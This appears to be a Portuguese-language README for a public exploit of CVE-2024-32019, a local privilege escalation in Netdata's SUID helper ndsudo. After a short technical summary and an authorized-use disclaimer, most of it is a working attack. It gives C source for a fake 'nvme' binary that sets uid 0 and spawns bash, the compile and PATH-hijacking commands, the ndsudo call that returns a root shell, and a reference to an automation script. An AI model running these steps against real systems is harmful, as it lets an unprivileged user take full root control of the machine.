🚨 CVE-2024-32019 - Exploração da Vulnerabilidade PATH no `ndsudo` do Netdata (LPE para Root)

Um exploit baseado em Python para CVE-2024-32019, uma vulnerabilidade de Elevação Local de Privilégio de alta gravidade no Netdata Agent, que explora um binário SUID mal configurado (ndsudo) que não lida de forma segura com a variável de ambiente PATH.

[!Caution] Este código é apenas para fins educacionais e de teste autorizado. O uso não autorizado desta ferramenta contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal.

🔍 Visão Geral

CVE ID: CVE-2024-32019
Pontuação CVSS: 8.8 (Alta)
Divulgado: 12 de abril de 2024
Componente: Netdata Agent
Versões Afetadas:

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🧠 Resumo Técnico

A ferramenta ndsudo do Netdata é um binário SUID root destinado a executar com segurança um conjunto limitado de comandos do sistema (como nvme) em nome de usuários não-root.

No entanto, devido a uma falha de implementação, ele respeita a variável PATH controlada pelo usuário ao resolver binários de comandos. Se um atacante conseguir manipular o PATH para incluir um diretório gravável contendo um binário malicioso, o ndsudo o executará com privilégios de root — resultando em uma elevação local de privilégios.

💥 Passos de Exploração Manual

Os passos a seguir demonstram como explorar manualmente a vulnerabilidade no ndsudo.

1. Criar um Binário de Elevação de Privilégios

Salve o seguinte código C como nvme.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

2. Compilar o Exploit

gcc nvme.c -o nvme

3. Preparar o Ambiente do Exploit no Alvo

mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme

4. Modificar o `PATH`

export PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme

5. Acionar o Exploit

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Se bem-sucedido, você obterá um shell root.

# whoami
root

Exploração Automática

Se você tiver acesso SSH, pode usar o CVE-2024-32019-dbs.py para automatizar isso.

Exploitation using script

Mais Populares

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation